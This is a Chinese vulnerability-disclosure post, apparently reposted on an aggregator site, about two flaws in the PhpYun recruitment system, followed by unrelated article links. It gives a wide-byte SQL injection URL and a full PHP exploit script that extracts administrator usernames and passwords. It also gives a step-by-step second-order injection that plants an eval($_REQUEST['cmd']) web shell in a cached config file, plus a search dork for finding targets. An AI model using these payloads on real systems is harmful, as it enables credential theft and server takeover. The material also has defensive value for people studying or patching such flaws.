PhpYun人才系统通杀注入及代码执行漏洞漏洞预警 -电脑资料

PhpYun人才系统是php业界著名门户网站php100重磅推出的一套开源人才系统,因php100在业界的地位而迅速被站长选用,但毕竟是新生事物,其代码在安全性上存在严重安全问题,

PhpYun人才系统通杀注入及代码执行漏洞漏洞预警

1.宽字节注入

漏洞描述

系统在config/db.safety.php中定义如下代码:

function quotesGPC() {

$_POST = array_map("addSlash", $_POST);

$_GET = array_map("addSlash", $_GET);

$_COOKIE = array_map("addSlash", $_COOKIE);

}

function addSlash($el) {

if (is_array($el))

return array_map("addSlash", $el);

else

return addslashes($el);

}

这段代码强制对变量进行了gpc转换,以增加安全性,但是令人费解的是这段代码根本没有在系统中调用,导致php在gpc关闭的情况下,可以直接对系统进行注入。由于一般php的gpc是默认开启,系统的所有查询变量在sql语句中均有单引号包围,并对inti型变量进行了强制转换,所以稍微显得有点鸡肋。

但由于整套系统采用gbk编码,而且没有做相应的字符过滤,在大部分地方导致宽字节注入。

如下代码:

if(isset($_GET[search])){

....省略部分无关代码//公司类型

$where=!empty($_GET[exp])? "and a.`exp`='$_GET[exp]' ":null;//公司类型

$where.=!empty($_GET[edu])? "and a.`edu`='$_GET[edu]' ":null;//学历

$where.=!empty($_GET[salary])? "and a.`salary`='$_GET[salary]' ":null;//月薪

$where.=$_GET[keyword]!="关键字"? "and a.`name` like '%$_GET[keyword]%' ":null;//关键字

.....省略部分无关代码

$select="a.`id`,a.`uid`,a.`name` as `jobname`,a.`number`,b.`name`,a.`provinceid` as`jobcity`,a.`lastupdate`,a.`salary`,a.`description`,a.`edu`,b.`pr`,b.`mun`";

$searchsql=$obj->DB_select_alls("company_job","company","1 $where order by `lastupdate` desc limit $firstcount,$displaypg",$select)

变量没有进行任何验证即带入查询语句,在gpc开启的情况下用%df'作为keywords查询即可闭合sql查询的单引号实现注入,爆出账号和密码。

利用方式:

精心构造注入语句

http://www.hackqing.cn/search.php?keyword=php%df%27%20or%201=2%20union%20select%201,2,concat(0x40,0x23,username,0x7e,password,0x23,0x40),4,5,6,7,8,9,0,11,12%20from%20phpyun_admin_user--%20sdfsd&provinceid=&mySearchCityName=&mySearchCity=&search=%CB%D1%CB%F7,

即可注入出后台账号和密码。

附上exp:

<?php

/*

*Php Yun 人才系统宽字节编码注入exp

**/

print_r('

+--------------------------------------------------------------------+

PhpYun RenCai System Remove SQL Injection Exploit

By l4yn3

Blog http://hi.baidu.com/l4yn3

+--------------------------------------------------------------------+

');

if($argc < 2)

{

print_r('

+-----------------------------------------------------------------+

Example:

php '.$argv[0].' localhost

+-----------------------------------------------------------------+

');

exit;

}

error_reporting(7);

ini_set('max_execution_time', 0);

$host = $argv[1];

$path = $argv[2];

echo "Waiting, exploiting......\r\n";

$data = Hacking();

preg_match("/@#(\S+)#@/isU", $data, $note);

if(!isset($note[1]) empty($note[1]))

{

exit('Exploit failed!');

exit;

}

else

{

$res_arr = explode('~', $note[1]);

print("

Exploit successed!\r\n

Name:".$res_arr[0]."\r\n

PassWord:".$res_arr[1]."\r\n

Good Luck to you!

----l4yn3

");

exit;

}

function Hacking()

{

global $host, $path;

$data = "GET /search.php?keyword=php%df%27%20or%201=2%20union%20select%201,2,concat(0x40,0x23,username,0x7e,password,0x23,0x40),4,5,6,7,8,9,0,11,12%20from%20phpyun_admin_user--%20sdfsd&provinceid=&mySearchCityName=&mySearchCity=&search=%CB%D1%CB%F7 HTTP/1.1\r\n"; ////@#

$data .= "Host: $host\r\n";

$data .= "Connection: Close\r\n\r\n";

$fp = fsockopen($host, 80);

fputs($fp, $data);

$res = '';

while($fp && !feof($fp))

{

$res .= fread($fp, 1024);

}

fclose($fp);

return $res;

}

2.后台代码执行

漏洞描述

系统对相关配置信息的处理流程为 配置信息入库

->从库中取出配置信息写入文件,当做文件缓存使用,导致典型的二次攻击,

电脑资料

《PhpYun人才系统通杀注入及代码执行漏洞漏洞预警》()。

看以下代码:

admin/admin_city.php

if($_POST[madeprovince]){

if(!empty($_POST[provinceid])){

$value="`name`='".$_POST[provinceid]."',`keyid`='0',`sort`='0'";

$city1=$acts->DB_insert_once("calss_city","$value"); //没做任何过滤,直接插入 ---l4yn3

!empty($city1)?$acts->get_admin_msg("admin_city.php","添加成功"):$acts->get_admin_msg("admin_city.php","添加失败,请销后再试");

}else{

$acts->get_admin_msg("admin_city.php","请正确填写你要添加的城市");

}

}

admin/admin_make.php

if($_GET[make]=='area'){

$data .= "<?php \n \$data_area=array(";

foreach($acts->DB_select_all("calss_city") as $v){

$data .="'$v[0]'=>'$v[1]',\n";

}

$data .= "'1983223'=>'PHP100'); \n ?>";

$returnif=true;//从库里取出配置信息 l4yn3

}

............... 省略部分代码

if(!empty($data) && $returnif){

$open=fopen(CONFIG_PATH.'db.data.'.$_GET[make].'.php','w+');

$fw=fwrite($open,$data);//没做任何处理,直接写入配置文件,典型的二次攻击

fclose($open);

if(!empty($fw)){

$acts->get_admin_msg("admin_job.php","更新成功!");

}

}

添加省份信息的代码没有任何过滤直接插入数据库(肯定注入了),然后再另外一个文件里直接把配置信息取出来写入缓存文件,导致典型的二次注入攻击。

我们看一下配置文件的格式。

<?php

$data_area=array('1'=>'北京',

'2'=>'上海',

'3'=>'天津',

'4'=>'重庆',

'5'=>'河北');

及时gpc转换开启,我们添加的时候被转义,但是存到库里也就是干净的了,在取出来写入缓存,造成典型的二次攻击。我们从数据库里面读出来的省份为'.@eval($_REQUEST['cmd']).'123,那写入配置文件后就变成了'495'=>''.@eval($_REQUEST['cmd']).'123',,成功闭合数组的单引号,执行我们的php代码。

而插入的内容又是我们控制的。

利用方法

在‘地区配置’处添加一级城市名称。如果gpc转换关闭,那我们需要添加为\'.@eval($_REQUEST[\'cmd\']).\'123,我们要对我们添加的单引号进行模拟转义,这样添加到库里才能成为'.@eval($_REQUEST['cmd']).'123,然后被写入执行,避免添加失败的错误。如果gpc开启则直接添加 '.@eval($_REQUEST['cmd']).'123,因为gpc已经给我们转义好了。所以流程是先添加'.@eval($_REQUEST['cmd']).'123,提示失败,则说明gpc关闭了,sql没有正常执行,那再重新添加\'.@eval($_REQUEST[\'cmd\']).\'123,对单引号进行转义,添加成功。然后手动访问admin/admin_malke.php?make=area,提示成功生成配置文件,然后用客户端文件/config/db.data.area.php,就是我们的一句话。

查找关键词:Powered by PHPYun.

相关文章

滚动轴承类型的选择 -工程

滚动轴承是标准零件,在机械设计过程中应能较熟练地选择滚动轴承的类型与规格,滚动轴承类型的选择。 (一)在机械设计中,滚动轴承选择的一般过程如下图所示 (二)滚动轴承类型选择应注意的问题: 1、考虑轴...
资料大全2012-01-02
滚动轴承类型的选择 -工程

监测方案

为了确保事情或工作有序有力开展,常常需要提前准备一份具体、详细、针对性强的方案,一份好的方案一定会注重受众的参与性及互动性。那么应当如何制定方案呢?以下是小编收集整理的监测方案8篇,欢迎阅读与收藏。监...
资料大全2015-05-04
监测方案

练肱二头肌方法

身体在锻炼上都是有不同方法,常见就是运动,运动跑步对提高身体各方面有很好帮助,因为每天坚持跑步对身体都是有很好帮助,跑步的时候也要注意方式方法,在跑步的时候也不能随意,否则很容易引发腿部问题,这点也要...
资料大全2019-02-09
练肱二头肌方法

社保要交满多少年

社保中的失业保险待遇享受,一般也会有缴费年限的限制,根据相关规定,失业前用人单位和本人已经缴纳失业保险费满一年的,才能从失业保险基金中领取失业保险金,当然,这只是失业保险金领取条件之一,领取失业金还有...
资料大全2014-02-02
社保要交满多少年

唯美爱情语句

爱情是美丽的,下面应届毕业生的小编为大家整理了一份唯美爱情语句,仅供大家参考,唯美爱情语句。1. 我想我们每一个人都必须学会适应聚散无常,而不是每次都手足无措地哭泣。2. 时间是场不落...
资料大全2014-02-01
唯美爱情语句

微店营销推广方案

为了确保事情或工作安全顺利进行,时常需要预先开展方案准备工作,方案一般包括指导思想、主要目标、工作重点、实施步骤、政策措施、具体要求等项目。你知道什么样的方案才能切实地帮助到我们吗?下面是小编收集整理...
资料大全2013-06-06
微店营销推广方案